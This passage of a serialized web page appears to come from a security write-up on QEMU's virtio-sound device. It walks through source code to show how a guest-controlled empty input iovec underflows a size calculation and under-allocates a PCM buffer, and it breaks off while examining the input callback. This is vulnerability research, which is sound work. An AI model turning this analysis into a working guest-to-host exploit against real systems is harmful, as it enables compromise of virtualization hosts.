",{"type":25,"tag":201,"props":124977,"children":124978},{"style":261},[124979],{"type":31,"value":6077},{"type":25,"tag":201,"props":124981,"children":124982},{"style":220},[124983],{"type":31,"value":124984},"elem;\n",{"type":25,"tag":201,"props":124986,"children":124987},{"class":203,"line":522},[124988],{"type":25,"tag":201,"props":124989,"children":124990},{"style":220},[124991],{"type":31,"value":105885},{"type":25,"tag":201,"props":124993,"children":124994},{"class":203,"line":531},[124995],{"type":25,"tag":201,"props":124996,"children":124997},{"emptyLinePlaceholder":17},[124998],{"type":31,"value":496},{"type":25,"tag":201,"props":125000,"children":125001},{"class":203,"line":550},[125002,125006],{"type":25,"tag":201,"props":125003,"children":125004},{"style":230},[125005],{"type":31,"value":4539},{"type":25,"tag":201,"props":125007,"children":125008},{"style":220},[125009],{"type":31,"value":125010}," (;;) {\n",{"type":25,"tag":201,"props":125012,"children":125013},{"class":203,"line":563},[125014,125019,125023],{"type":25,"tag":201,"props":125015,"children":125016},{"style":220},[125017],{"type":31,"value":125018},"        VirtIOSoundPCMStream ",{"type":25,"tag":201,"props":125020,"children":125021},{"style":261},[125022],{"type":31,"value":6077},{"type":25,"tag":201,"props":125024,"children":125025},{"style":220},[125026],{"type":31,"value":125027},"stream;\n",{"type":25,"tag":201,"props":125029,"children":125030},{"class":203,"line":572},[125031],{"type":25,"tag":201,"props":125032,"children":125033},{"emptyLinePlaceholder":17},[125034],{"type":31,"value":496},{"type":25,"tag":201,"props":125036,"children":125037},{"class":203,"line":590},[125038,125043,125047,125052,125057,125061,125066],{"type":25,"tag":201,"props":125039,"children":125040},{"style":220},[125041],{"type":31,"value":125042},"        elem ",{"type":25,"tag":201,"props":125044,"children":125045},{"style":261},[125046],{"type":31,"value":1383},{"type":25,"tag":201,"props":125048,"children":125049},{"style":214},[125050],{"type":31,"value":125051}," virtqueue_pop",{"type":25,"tag":201,"props":125053,"children":125054},{"style":220},[125055],{"type":31,"value":125056},"(vq, ",{"type":25,"tag":201,"props":125058,"children":125059},{"style":208},[125060],{"type":31,"value":56406},{"type":25,"tag":201,"props":125062,"children":125063},{"style":220},[125064],{"type":31,"value":125065},"(VirtQueueElement));",{"type":25,"tag":201,"props":125067,"children":125068},{"style":4497},[125069],{"type":31,"value":125070},"     // [1]\n",{"type":25,"tag":201,"props":125072,"children":125073},{"class":203,"line":608},[125074,125078,125082,125086],{"type":25,"tag":201,"props":125075,"children":125076},{"style":230},[125077],{"type":31,"value":4779},{"type":25,"tag":201,"props":125079,"children":125080},{"style":220},[125081],{"type":31,"value":238},{"type":25,"tag":201,"props":125083,"children":125084},{"style":261},[125085],{"type":31,"value":4114},{"type":25,"tag":201,"props":125087,"children":125088},{"style":220},[125089],{"type":31,"value":125090},"elem) {\n",{"type":25,"tag":201,"props":125092,"children":125093},{"class":203,"line":617},[125094,125098],{"type":25,"tag":201,"props":125095,"children":125096},{"style":230},[125097],{"type":31,"value":4805},{"type":25,"tag":201,"props":125099,"children":125100},{"style":220},[125101],{"type":31,"value":461},{"type":25,"tag":201,"props":125103,"children":125104},{"class":203,"line":625},[125105],{"type":25,"tag":201,"props":125106,"children":125107},{"style":220},[125108],{"type":31,"value":4853},{"type":25,"tag":201,"props":125110,"children":125111},{"class":203,"line":642},[125112],{"type":25,"tag":201,"props":125113,"children":125114},{"emptyLinePlaceholder":17},[125115],{"type":31,"value":496},{"type":25,"tag":201,"props":125117,"children":125118},{"class":203,"line":659},[125119],{"type":25,"tag":201,"props":125120,"children":125121},{"style":220},[125122],{"type":31,"value":125123},"        [...]\n",{"type":25,"tag":201,"props":125125,"children":125126},{"class":203,"line":667},[125127],{"type":25,"tag":201,"props":125128,"children":125129},{"emptyLinePlaceholder":17},[125130],{"type":31,"value":496},{"type":25,"tag":201,"props":125132,"children":125133},{"class":203,"line":676},[125134,125139,125143,125147,125151,125155,125160],{"type":25,"tag":201,"props":125135,"children":125136},{"style":214},[125137],{"type":31,"value":125138},"        WITH_QEMU_LOCK_GUARD",{"type":25,"tag":201,"props":125140,"children":125141},{"style":220},[125142],{"type":31,"value":298},{"type":25,"tag":201,"props":125144,"children":125145},{"style":261},[125146],{"type":31,"value":4615},{"type":25,"tag":201,"props":125148,"children":125149},{"style":246},[125150],{"type":31,"value":37331},{"type":25,"tag":201,"props":125152,"children":125153},{"style":220},[125154],{"type":31,"value":15259},{"type":25,"tag":201,"props":125156,"children":125157},{"style":246},[125158],{"type":31,"value":125159},"queue_mutex",{"type":25,"tag":201,"props":125161,"children":125162},{"style":220},[125163],{"type":31,"value":275},{"type":25,"tag":201,"props":125165,"children":125166},{"class":203,"line":694},[125167,125172,125176,125181,125185,125189,125193,125198,125202,125206,125210,125215,125219],{"type":25,"tag":201,"props":125168,"children":125169},{"style":220},[125170],{"type":31,"value":125171},"            size ",{"type":25,"tag":201,"props":125173,"children":125174},{"style":261},[125175],{"type":31,"value":1383},{"type":25,"tag":201,"props":125177,"children":125178},{"style":214},[125179],{"type":31,"value":125180}," iov_size",{"type":25,"tag":201,"props":125182,"children":125183},{"style":220},[125184],{"type":31,"value":298},{"type":25,"tag":201,"props":125186,"children":125187},{"style":246},[125188],{"type":31,"value":53142},{"type":25,"tag":201,"props":125190,"children":125191},{"style":220},[125192],{"type":31,"value":15259},{"type":25,"tag":201,"props":125194,"children":125195},{"style":246},[125196],{"type":31,"value":125197},"in_sg",{"type":25,"tag":201,"props":125199,"children":125200},{"style":220},[125201],{"type":31,"value":919},{"type":25,"tag":201,"props":125203,"children":125204},{"style":246},[125205],{"type":31,"value":53142},{"type":25,"tag":201,"props":125207,"children":125208},{"style":220},[125209],{"type":31,"value":15259},{"type":25,"tag":201,"props":125211,"children":125212},{"style":246},[125213],{"type":31,"value":125214},"in_num",{"type":25,"tag":201,"props":125216,"children":125217},{"style":220},[125218],{"type":31,"value":385},{"type":25,"tag":201,"props":125220,"children":125221},{"style":261},[125222],{"type":31,"value":51939},{"type":25,"tag":201,"props":125224,"children":125225},{"class":203,"line":707},[125226,125231,125236],{"type":25,"tag":201,"props":125227,"children":125228},{"style":208},[125229],{"type":31,"value":125230},"                sizeof",{"type":25,"tag":201,"props":125232,"children":125233},{"style":220},[125234],{"type":31,"value":125235},"(virtio_snd_pcm_status);",{"type":25,"tag":201,"props":125237,"children":125238},{"style":4497},[125239],{"type":31,"value":125240},"                  // [2]\n",{"type":25,"tag":201,"props":125242,"children":125243},{"class":203,"line":715},[125244,125249,125253,125258,125262,125266,125271,125275],{"type":25,"tag":201,"props":125245,"children":125246},{"style":220},[125247],{"type":31,"value":125248},"            buffer ",{"type":25,"tag":201,"props":125250,"children":125251},{"style":261},[125252],{"type":31,"value":1383},{"type":25,"tag":201,"props":125254,"children":125255},{"style":214},[125256],{"type":31,"value":125257}," g_malloc0",{"type":25,"tag":201,"props":125259,"children":125260},{"style":220},[125261],{"type":31,"value":298},{"type":25,"tag":201,"props":125263,"children":125264},{"style":208},[125265],{"type":31,"value":56406},{"type":25,"tag":201,"props":125267,"children":125268},{"style":220},[125269],{"type":31,"value":125270},"(VirtIOSoundPCMBuffer) ",{"type":25,"tag":201,"props":125272,"children":125273},{"style":261},[125274],{"type":31,"value":5886},{"type":25,"tag":201,"props":125276,"children":125277},{"style":220},[125278],{"type":31,"value":125279}," size);\n",{"type":25,"tag":201,"props":125281,"children":125282},{"class":203,"line":732},[125283,125288,125292,125296,125300],{"type":25,"tag":201,"props":125284,"children":125285},{"style":246},[125286],{"type":31,"value":125287},"            buffer",{"type":25,"tag":201,"props":125289,"children":125290},{"style":220},[125291],{"type":31,"value":15259},{"type":25,"tag":201,"props":125293,"children":125294},{"style":246},[125295],{"type":31,"value":53142},{"type":25,"tag":201,"props":125297,"children":125298},{"style":261},[125299],{"type":31,"value":413},{"type":25,"tag":201,"props":125301,"children":125302},{"style":220},[125303],{"type":31,"value":125304}," elem;\n",{"type":25,"tag":201,"props":125306,"children":125307},{"class":203,"line":749},[125308,125312,125316,125320,125324],{"type":25,"tag":201,"props":125309,"children":125310},{"style":246},[125311],{"type":31,"value":125287},{"type":25,"tag":201,"props":125313,"children":125314},{"style":220},[125315],{"type":31,"value":15259},{"type":25,"tag":201,"props":125317,"children":125318},{"style":246},[125319],{"type":31,"value":124956},{"type":25,"tag":201,"props":125321,"children":125322},{"style":261},[125323],{"type":31,"value":413},{"type":25,"tag":201,"props":125325,"children":125326},{"style":220},[125327],{"type":31,"value":125328}," vq;\n",{"type":25,"tag":201,"props":125330,"children":125331},{"class":203,"line":757},[125332,125336,125340,125345,125349,125353],{"type":25,"tag":201,"props":125333,"children":125334},{"style":246},[125335],{"type":31,"value":125287},{"type":25,"tag":201,"props":125337,"children":125338},{"style":220},[125339],{"type":31,"value":15259},{"type":25,"tag":201,"props":125341,"children":125342},{"style":246},[125343],{"type":31,"value":125344},"size",{"type":25,"tag":201,"props":125346,"children":125347},{"style":261},[125348],{"type":31,"value":413},{"type":25,"tag":201,"props":125350,"children":125351},{"style":426},[125352],{"type":31,"value":4554},{"type":25,"tag":201,"props":125354,"children":125355},{"style":220},[125356],{"type":31,"value":461},{"type":25,"tag":201,"props":125358,"children":125359},{"class":203,"line":765},[125360,125364,125368,125372,125376,125380],{"type":25,"tag":201,"props":125361,"children":125362},{"style":246},[125363],{"type":31,"value":125287},{"type":25,"tag":201,"props":125365,"children":125366},{"style":220},[125367],{"type":31,"value":15259},{"type":25,"tag":201,"props":125369,"children":125370},{"style":246},[125371],{"type":31,"value":15403},{"type":25,"tag":201,"props":125373,"children":125374},{"style":261},[125375],{"type":31,"value":413},{"type":25,"tag":201,"props":125377,"children":125378},{"style":426},[125379],{"type":31,"value":4554},{"type":25,"tag":201,"props":125381,"children":125382},{"style":220},[125383],{"type":31,"value":461},{"type":25,"tag":201,"props":125385,"children":125386},{"class":203,"line":783},[125387,125392,125396,125400,125404,125408,125413,125418],{"type":25,"tag":201,"props":125388,"children":125389},{"style":214},[125390],{"type":31,"value":125391},"            QSIMPLEQ_INSERT_TAIL",{"type":25,"tag":201,"props":125393,"children":125394},{"style":220},[125395],{"type":31,"value":298},{"type":25,"tag":201,"props":125397,"children":125398},{"style":261},[125399],{"type":31,"value":4615},{"type":25,"tag":201,"props":125401,"children":125402},{"style":246},[125403],{"type":31,"value":37331},{"type":25,"tag":201,"props":125405,"children":125406},{"style":220},[125407],{"type":31,"value":15259},{"type":25,"tag":201,"props":125409,"children":125410},{"style":246},[125411],{"type":31,"value":125412},"queue",{"type":25,"tag":201,"props":125414,"children":125415},{"style":220},[125416],{"type":31,"value":125417},", buffer, entry);",{"type":25,"tag":201,"props":125419,"children":125420},{"style":4497},[125421],{"type":31,"value":53707},{"type":25,"tag":201,"props":125423,"children":125424},{"class":203,"line":792},[125425],{"type":25,"tag":201,"props":125426,"children":125427},{"style":220},[125428],{"type":31,"value":4853},{"type":25,"tag":201,"props":125430,"children":125431},{"class":203,"line":801},[125432,125437],{"type":25,"tag":201,"props":125433,"children":125434},{"style":230},[125435],{"type":31,"value":125436},"        continue",{"type":25,"tag":201,"props":125438,"children":125439},{"style":220},[125440],{"type":31,"value":461},{"type":25,"tag":201,"props":125442,"children":125443},{"class":203,"line":809},[125444],{"type":25,"tag":201,"props":125445,"children":125446},{"emptyLinePlaceholder":17},[125447],{"type":31,"value":496},{"type":25,"tag":201,"props":125449,"children":125450},{"class":203,"line":857},[125451],{"type":25,"tag":201,"props":125452,"children":125453},{"style":220},[125454],{"type":31,"value":125123},{"type":25,"tag":201,"props":125456,"children":125457},{"class":203,"line":865},[125458],{"type":25,"tag":201,"props":125459,"children":125460},{"style":220},[125461],{"type":31,"value":1187},{"type":25,"tag":34,"props":125463,"children":125464},{},[125465,125467,125473,125475,125481,125483,125488,125489,125495],{"type":31,"value":125466},"At ",{"type":25,"tag":115,"props":125468,"children":125470},{"className":125469},[],[125471],{"type":31,"value":125472},"[1]",{"type":31,"value":125474},", a ",{"type":25,"tag":115,"props":125476,"children":125478},{"className":125477},[],[125479],{"type":31,"value":125480},"VirtQueueElement *elem",{"type":31,"value":125482}," is popped from the virtqueue. It contains the ",{"type":25,"tag":115,"props":125484,"children":125486},{"className":125485},[],[125487],{"type":31,"value":125197},{"type":31,"value":12493},{"type":25,"tag":115,"props":125490,"children":125492},{"className":125491},[],[125493],{"type":31,"value":125494},"out_sg",{"type":31,"value":125496}," iovecs that describe the guest request, and is therefore fully guest-controlled.",{"type":25,"tag":34,"props":125498,"children":125499},{},[125500,125502,125508,125510,125516,125518,125524,125526,125532,125534,125540],{"type":31,"value":125501},"Further at ",{"type":25,"tag":115,"props":125503,"children":125505},{"className":125504},[],[125506],{"type":31,"value":125507},"[2]",{"type":31,"value":125509},", the device computes the size of the data buffer as ",{"type":25,"tag":115,"props":125511,"children":125513},{"className":125512},[],[125514],{"type":31,"value":125515},"iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status)",{"type":31,"value":125517},". That value is then used in the allocation: ",{"type":25,"tag":115,"props":125519,"children":125521},{"className":125520},[],[125522],{"type":31,"value":125523},"g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size)",{"type":31,"value":125525},". Finally, at ",{"type":25,"tag":115,"props":125527,"children":125529},{"className":125528},[],[125530],{"type":31,"value":125531},"[3]",{"type":31,"value":125533},", the newly allocated buffer is appended to the ",{"type":25,"tag":115,"props":125535,"children":125537},{"className":125536},[],[125538],{"type":31,"value":125539},"stream->queue",{"type":31,"value":125541}," linked list.",{"type":25,"tag":34,"props":125543,"children":125544},{},[125545,125547,125552,125554,125559,125561,125566,125568,125574],{"type":31,"value":125546},"Because both the ",{"type":25,"tag":115,"props":125548,"children":125550},{"className":125549},[],[125551],{"type":31,"value":125197},{"type":31,"value":125553}," iovec and the ",{"type":25,"tag":115,"props":125555,"children":125557},{"className":125556},[],[125558],{"type":31,"value":125214},{"type":31,"value":125560}," field are guest-controlled, and there is no check that the total ",{"type":25,"tag":115,"props":125562,"children":125564},{"className":125563},[],[125565],{"type":31,"value":125197},{"type":31,"value":125567}," size is at least ",{"type":25,"tag":115,"props":125569,"children":125571},{"className":125570},[],[125572],{"type":31,"value":125573},"sizeof(virtio_snd_pcm_status)",{"type":31,"value":125575},", this calculation can underflow if the guest provides a smaller input buffer - that gives us our first bug.",{"type":25,"tag":34,"props":125577,"children":125578},{},[125579,125581,125586,125588,125594,125596,125602,125604,125610],{"type":31,"value":125580},"From the guest driver, we can provide an empty ",{"type":25,"tag":115,"props":125582,"children":125584},{"className":125583},[],[125585],{"type":31,"value":125197},{"type":31,"value":125587}," iovec. In that case, the calculation becomes ",{"type":25,"tag":115,"props":125589,"children":125591},{"className":125590},[],[125592],{"type":31,"value":125593},"0 - sizeof(virtio_snd_pcm_status)",{"type":31,"value":125595},", so the allocation size effectively becomes ",{"type":25,"tag":115,"props":125597,"children":125599},{"className":125598},[],[125600],{"type":31,"value":125601},"sizeof(VirtIOSoundPCMBuffer) - 8",{"type":31,"value":125603},". Given the definition of ",{"type":25,"tag":115,"props":125605,"children":125607},{"className":125606},[],[125608],{"type":31,"value":125609},"VirtIOSoundPCMBuffer",{"type":31,"value":5997},{"type":25,"tag":191,"props":125612,"children":125614},{"code":125613,"language":4652,"meta":7,"className":18010,"style":7},"struct VirtIOSoundPCMBuffer {\n    QSIMPLEQ_ENTRY(VirtIOSoundPCMBuffer) entry;\n    VirtQueueElement *elem;\n    VirtQueue *vq;\n    size_t size;\n    uint64_t offset;\n    /* Used for the TX queue for lazy I/O copy from `elem` */\n    bool populated;\n    uint8_t data[];\n};\n",[125615],{"type":25,"tag":115,"props":125616,"children":125617},{"__ignoreMap":7},[125618,125630,125643,125658,125675,125687,125699,125707,125719,125739],{"type":25,"tag":201,"props":125619,"children":125620},{"class":203,"line":204},[125621,125625],{"type":25,"tag":201,"props":125622,"children":125623},{"style":208},[125624],{"type":31,"value":10905},{"type":25,"tag":201,"props":125626,"children":125627},{"style":220},[125628],{"type":31,"value":125629}," VirtIOSoundPCMBuffer {\n",{"type":25,"tag":201,"props":125631,"children":125632},{"class":203,"line":226},[125633,125638],{"type":25,"tag":201,"props":125634,"children":125635},{"style":214},[125636],{"type":31,"value":125637},"    QSIMPLEQ_ENTRY",{"type":25,"tag":201,"props":125639,"children":125640},{"style":220},[125641],{"type":31,"value":125642},"(VirtIOSoundPCMBuffer) entry;\n",{"type":25,"tag":201,"props":125644,"children":125645},{"class":203,"line":278},[125646,125650,125654],{"type":25,"tag":201,"props":125647,"children":125648},{"style":220},[125649],{"type":31,"value":124975},{"type":25,"tag":201,"props":125651,"children":125652},{"style":261},[125653],{"type":31,"value":6077},{"type":25,"tag":201,"props":125655,"children":125656},{"style":220},[125657],{"type":31,"value":124984},{"type":25,"tag":201,"props":125659,"children":125660},{"class":203,"line":311},[125661,125666,125670],{"type":25,"tag":201,"props":125662,"children":125663},{"style":220},[125664],{"type":31,"value":125665},"    VirtQueue ",{"type":25,"tag":201,"props":125667,"children":125668},{"style":261},[125669],{"type":31,"value":6077},{"type":25,"tag":201,"props":125671,"children":125672},{"style":220},[125673],{"type":31,"value":125674},"vq;\n",{"type":25,"tag":201,"props":125676,"children":125677},{"class":203,"line":330},[125678,125682],{"type":25,"tag":201,"props":125679,"children":125680},{"style":208},[125681],{"type":31,"value":18060},{"type":25,"tag":201,"props":125683,"children":125684},{"style":220},[125685],{"type":31,"value":125686}," size;\n",{"type":25,"tag":201,"props":125688,"children":125689},{"class":203,"line":397},[125690,125694],{"type":25,"tag":201,"props":125691,"children":125692},{"style":208},[125693],{"type":31,"value":56691},{"type":25,"tag":201,"props":125695,"children":125696},{"style":220},[125697],{"type":31,"value":125698}," offset;\n",{"type":25,"tag":201,"props":125700,"children":125701},{"class":203,"line":437},[125702],{"type":25,"tag":201,"props":125703,"children":125704},{"style":4497},[125705],{"type":31,"value":125706},"    /* Used for the TX queue for lazy I/O copy from `elem` */\n",{"type":25,"tag":201,"props":125708,"children":125709},{"class":203,"line":464},[125710,125714],{"type":25,"tag":201,"props":125711,"children":125712},{"style":208},[125713],{"type":31,"value":47549},{"type":25,"tag":201,"props":125715,"children":125716},{"style":220},[125717],{"type":31,"value":125718}," populated;\n",{"type":25,"tag":201,"props":125720,"children":125721},{"class":203,"line":490},[125722,125726,125730,125735],{"type":25,"tag":201,"props":125723,"children":125724},{"style":208},[125725],{"type":31,"value":59536},{"type":25,"tag":201,"props":125727,"children":125728},{"style":220},[125729],{"type":31,"value":16603},{"type":25,"tag":201,"props":125731,"children":125732},{"style":208},[125733],{"type":31,"value":125734},"[]",{"type":25,"tag":201,"props":125736,"children":125737},{"style":220},[125738],{"type":31,"value":461},{"type":25,"tag":201,"props":125740,"children":125741},{"class":203,"line":499},[125742],{"type":25,"tag":201,"props":125743,"children":125744},{"style":220},[125745],{"type":31,"value":18073},{"type":25,"tag":34,"props":125747,"children":125748},{},[125749,125751,125757,125759,125764,125766,125771,125773,125778,125780,125785,125787,125793],{"type":31,"value":125750},"That under-allocation removes the ",{"type":25,"tag":115,"props":125752,"children":125754},{"className":125753},[],[125755],{"type":31,"value":125756},"populated",{"type":31,"value":125758}," field along with the variable-sized ",{"type":25,"tag":115,"props":125760,"children":125762},{"className":125761},[],[125763],{"type":31,"value":5206},{"type":31,"value":125765}," array. As the comment says, ",{"type":25,"tag":115,"props":125767,"children":125769},{"className":125768},[],[125770],{"type":31,"value":125756},{"type":31,"value":125772}," is only relevant to the TX path and is not used for audio input. However, by making the iovec size ",{"type":25,"tag":115,"props":125774,"children":125776},{"className":125775},[],[125777],{"type":31,"value":5516},{"type":31,"value":125779},", the device believes data should be ",{"type":25,"tag":115,"props":125781,"children":125783},{"className":125782},[],[125784],{"type":31,"value":5516},{"type":31,"value":125786}," byte, while the actual allocation is ",{"type":25,"tag":115,"props":125788,"children":125790},{"className":125789},[],[125791],{"type":31,"value":125792},"sizeof(VirtIOSoundPCMBuffer) - 7",{"type":31,"value":80},{"type":25,"tag":20392,"props":125795,"children":125797},{"id":125796},"populating-data-buffers",[125798],{"type":31,"value":125799},"Populating Data Buffers",{"type":25,"tag":34,"props":125801,"children":125802},{},[125803],{"type":31,"value":125804},"Let's take a look at how the allocated data buffer for the input stream is filled:",{"type":25,"tag":191,"props":125806,"children":125808},{"code":125807,"language":4652,"meta":7,"className":18010,"style":7},"/*\n * AUD_* input callback.\n *\n * @data: VirtIOSoundPCMStream stream\n * @available: number of bytes that can be read with AUD_read()\n */\nstatic void virtio_snd_pcm_in_cb(void *data, int available)\n{\n    VirtIOSoundPCMStream *stream = data;\n    VirtIOSoundPCMBuffer *buffer;\n    size_t size, max_size;\n\n    WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n        while (!QSIMPLEQ_EMPTY(&stream->queue)) {\n            buffer = QSIMPLEQ_FIRST(&stream->queue);\n\n            [...]\n\n            max_size = iov_size(                    // [1]\n                buffer->elem->in_sg,\n                buffer->elem->in_num\n            );\n            for (;;) {\n                if (buffer->size >= max_size) {     // [2]\n                    return_rx_buffer(stream, buffer);\n                    break;\n                }\n                size = AUD_read(stream->voice.in,\n                        buffer->data + buffer->size,\n                        MIN(available, (stream->params.period_bytes -     // [3]\n                                        buffer->size)));\n                if (!size) {\n                    available = 0;\n                    break;\n                }\n                buffer->size += size;\n                available -= size;\n                [...]\n            }\n        }\n    }\n}\n",[125809],{"type":25,"tag":115,"props":125810,"children":125811},{"__ignoreMap":7},[125812,125819,125827,125834,125842,125850,125857,125906,125913,125939,125956,125968,125975,126007,126052,126092,126099,126107,126114,126139,126167,126191,126199,126211,126249,126262,126274,126281,126327,126364,126407,126428,126448,126468,126479,126486,126509,126525,126533,126540,126547,126554],{"type":25,"tag":201,"props":125813,"children":125814},{"class":203,"line":204},[125815],{"type":25,"tag":201,"props":125816,"children":125817},{"style":4497},[125818],{"type":31,"value":50443},{"type":25,"tag":201,"props":125820,"children":125821},{"class":203,"line":226},[125822],{"type":25,"tag":201,"props":125823,"children":125824},{"style":4497},[125825],{"type":31,"value":125826}," * AUD_* input callback.\n",{"type":25,"tag":201,"props":125828,"children":125829},{"class":203,"line":278},[125830],{"type":25,"tag":201,"props":125831,"children":125832},{"style":4497},[125833],{"type":31,"value":20986},{"type":25,"tag":201,"props":125835,"children":125836},{"class":203,"line":311},[125837],{"type":25,"tag":201,"props":125838,"children":125839},{"style":4497},[125840],{"type":31,"value":125841}," * @data: VirtIOSoundPCMStream stream\n",{"type":25,"tag":201,"props":125843,"children":125844},{"class":203,"line":330},[125845],{"type":25,"tag":201,"props":125846,"children":125847},{"style":4497},[125848],{"type":31,"value":125849}," * @available: number of bytes that can be read with AUD_read()\n",{"type":25,"tag":201,"props":125851,"children":125852},{"class":203,"line":397},[125853],{"type":25,"tag":201,"props":125854,"children":125855},{"style":4497},[125856],{"type":31,"value":124912},{"type":25,"tag":201,"props":125858,"children":125859},{"class":203,"line":437},[125860,125864,125868,125873,125877,125881,125885,125889,125893,125897,125902],{"type":25,"tag":201,"props":125861,"children":125862},{"style":208},[125863],{"type":31,"value":52122},{"type":25,"tag":201,"props":125865,"children":125866},{"style":208},[125867],{"type":31,"value":52127},{"type":25,"tag":201,"props":125869,"children":125870},{"style":214},[125871],{"type":31,"value":125872}," virtio_snd_pcm_in_cb",{"type":25,"tag":201,"props":125874,"children":125875},{"style":220},[125876],{"type":31,"value":298},{"type":25,"tag":201,"props":125878,"children":125879},{"style":208},[125880],{"type":31,"value":52705},{"type":25,"tag":201,"props":125882,"children":125883},{"style":261},[125884],{"type":31,"value":11319},{"type":25,"tag":201,"props":125886,"children":125887},{"style":246},[125888],{"type":31,"value":5206},{"type":25,"tag":201,"props":125890,"children":125891},{"style":220},[125892],{"type":31,"value":919},{"type":25,"tag":201,"props":125894,"children":125895},{"style":208},[125896],{"type":31,"value":20546},{"type":25,"tag":201,"props":125898,"children":125899},{"style":246},[125900],{"type":31,"value":125901}," available",{"type":25,"tag":201,"props":125903,"children":125904},{"style":220},[125905],{"type":31,"value":4666},{"type":25,"tag":201,"props":125907,"children":125908},{"class":203,"line":464},[125909],{"type":25,"tag":201,"props":125910,"children":125911},{"style":220},[125912],{"type":31,"value":1822},{"type":25,"tag":201,"props":125914,"children":125915},{"class":203,"line":490},[125916,125921,125925,125930,125934],{"type":25,"tag":201,"props":125917,"children":125918},{"style":220},[125919],{"type":31,"value":125920},"    VirtIOSoundPCMStream ",{"type":25,"tag":201,"props":125922,"children":125923},{"style":261},[125924],{"type":31,"value":6077},{"type":25,"tag":201,"props":125926,"children":125927},{"style":220},[125928],{"type":31,"value":125929},"stream ",{"type":25,"tag":201,"props":125931,"children":125932},{"style":261},[125933],{"type":31,"value":1383},{"type":25,"tag":201,"props":125935,"children":125936},{"style":220},[125937],{"type":31,"value":125938}," data;\n",{"type":25,"tag":201,"props":125940,"children":125941},{"class":203,"line":499},[125942,125947,125951],{"type":25,"tag":201,"props":125943,"children":125944},{"style":220},[125945],{"type":31,"value":125946},"    VirtIOSoundPCMBuffer ",{"type":25,"tag":201,"props":125948,"children":125949},{"style":261},[125950],{"type":31,"value":6077},{"type":25,"tag":201,"props":125952,"children":125953},{"style":220},[125954],{"type":31,"value":125955},"buffer;\n",{"type":25,"tag":201,"props":125957,"children":125958},{"class":203,"line":522},[125959,125963],{"type":25,"tag":201,"props":125960,"children":125961},{"style":208},[125962],{"type":31,"value":18060},{"type":25,"tag":201,"props":125964,"children":125965},{"style":220},[125966],{"type":31,"value":125967}," size, max_size;\n",{"type":25,"tag":201,"props":125969,"children":125970},{"class":203,"line":531},[125971],{"type":25,"tag":201,"props":125972,"children":125973},{"emptyLinePlaceholder":17},[125974],{"type":31,"value":496},{"type":25,"tag":201,"props":125976,"children":125977},{"class":203,"line":550},[125978,125983,125987,125991,125995,125999,126003],{"type":25,"tag":201,"props":125979,"children":125980},{"style":214},[125981],{"type":31,"value":125982},"    WITH_QEMU_LOCK_GUARD",{"type":25,"tag":201,"props":125984,"children":125985},{"style":220},[125986],{"type":31,"value":298},{"type":25,"tag":201,"props":125988,"children":125989},{"style":261},[125990],{"type":31,"value":4615},{"type":25,"tag":201,"props":125992,"children":125993},{"style":246},[125994],{"type":31,"value":37331},{"type":25,"tag":201,"props":125996,"children":125997},{"style":220},[125998],{"type":31,"value":15259},{"type":25,"tag":201,"props":126000,"children":126001},{"style":246},[126002],{"type":31,"value":125159},{"type":25,"tag":201,"props":126004,"children":126005},{"style":220},[126006],{"type":31,"value":275},{"type":25,"tag":201,"props":126008,"children":126009},{"class":203,"line":563},[126010,126015,126019,126023,126028,126032,126036,126040,126044,126048],{"type":25,"tag":201,"props":126011,"children":126012},{"style":230},[126013],{"type":31,"value":126014},"        while",{"type":25,"tag":201,"props":126016,"children":126017},{"style":220},[126018],{"type":31,"value":238},{"type":25,"tag":201,"props":126020,"children":126021},{"style":261},[126022],{"type":31,"value":4114},{"type":25,"tag":201,"props":126024,"children":126025},{"style":214},[126026],{"type":31,"value":126027},"QSIMPLEQ_EMPTY",{"type":25,"tag":201,"props":126029,"children":126030},{"style":220},[126031],{"type":31,"value":298},{"type":25,"tag":201,"props":126033,"children":126034},{"style":261},[126035],{"type":31,"value":4615},{"type":25,"tag":201,"props":126037,"children":126038},{"style":246},[126039],{"type":31,"value":37331},{"type":25,"tag":201,"props":126041,"children":126042},{"style":220},[126043],{"type":31,"value":15259},{"type":25,"tag":201,"props":126045,"children":126046},{"style":246},[126047],{"type":31,"value":125412},{"type":25,"tag":201,"props":126049,"children":126050},{"style":220},[126051],{"type":31,"value":4141},{"type":25,"tag":201,"props":126053,"children":126054},{"class":203,"line":572},[126055,126059,126063,126068,126072,126076,126080,126084,126088],{"type":25,"tag":201,"props":126056,"children":126057},{"style":220},[126058],{"type":31,"value":125248},{"type":25,"tag":201,"props":126060,"children":126061},{"style":261},[126062],{"type":31,"value":1383},{"type":25,"tag":201,"props":126064,"children":126065},{"style":214},[126066],{"type":31,"value":126067}," QSIMPLEQ_FIRST",{"type":25,"tag":201,"props":126069,"children":126070},{"style":220},[126071],{"type":31,"value":298},{"type":25,"tag":201,"props":126073,"children":126074},{"style":261},[126075],{"type":31,"value":4615},{"type":25,"tag":201,"props":126077,"children":126078},{"style":246},[126079],{"type":31,"value":37331},{"type":25,"tag":201,"props":126081,"children":126082},{"style":220},[126083],{"type":31,"value":15259},{"type":25,"tag":201,"props":126085,"children":126086},{"style":246},[126087],{"type":31,"value":125412},{"type":25,"tag":201,"props":126089,"children":126090},{"style":220},[126091],{"type":31,"value":308},{"type":25,"tag":201,"props":126093,"children":126094},{"class":203,"line":590},[126095],{"type":25,"tag":201,"props":126096,"children":126097},{"emptyLinePlaceholder":17},[126098],{"type":31,"value":496},{"type":25,"tag":201,"props":126100,"children":126101},{"class":203,"line":608},[126102],{"type":25,"tag":201,"props":126103,"children":126104},{"style":220},[126105],{"type":31,"value":126106},"            [...]\n",{"type":25,"tag":201,"props":126108,"children":126109},{"class":203,"line":617},[126110],{"type":25,"tag":201,"props":126111,"children":126112},{"emptyLinePlaceholder":17},[126113],{"type":31,"value":496},{"type":25,"tag":201,"props":126115,"children":126116},{"class":203,"line":625},[126117,126122,126126,126130,126134],{"type":25,"tag":201,"props":126118,"children":126119},{"style":220},[126120],{"type":31,"value":126121},"            max_size ",{"type":25,"tag":201,"props":126123,"children":126124},{"style":261},[126125],{"type":31,"value":1383},{"type":25,"tag":201,"props":126127,"children":126128},{"style":214},[126129],{"type":31,"value":125180},{"type":25,"tag":201,"props":126131,"children":126132},{"style":220},[126133],{"type":31,"value":298},{"type":25,"tag":201,"props":126135,"children":126136},{"style":4497},[126137],{"type":31,"value":126138},"                    // 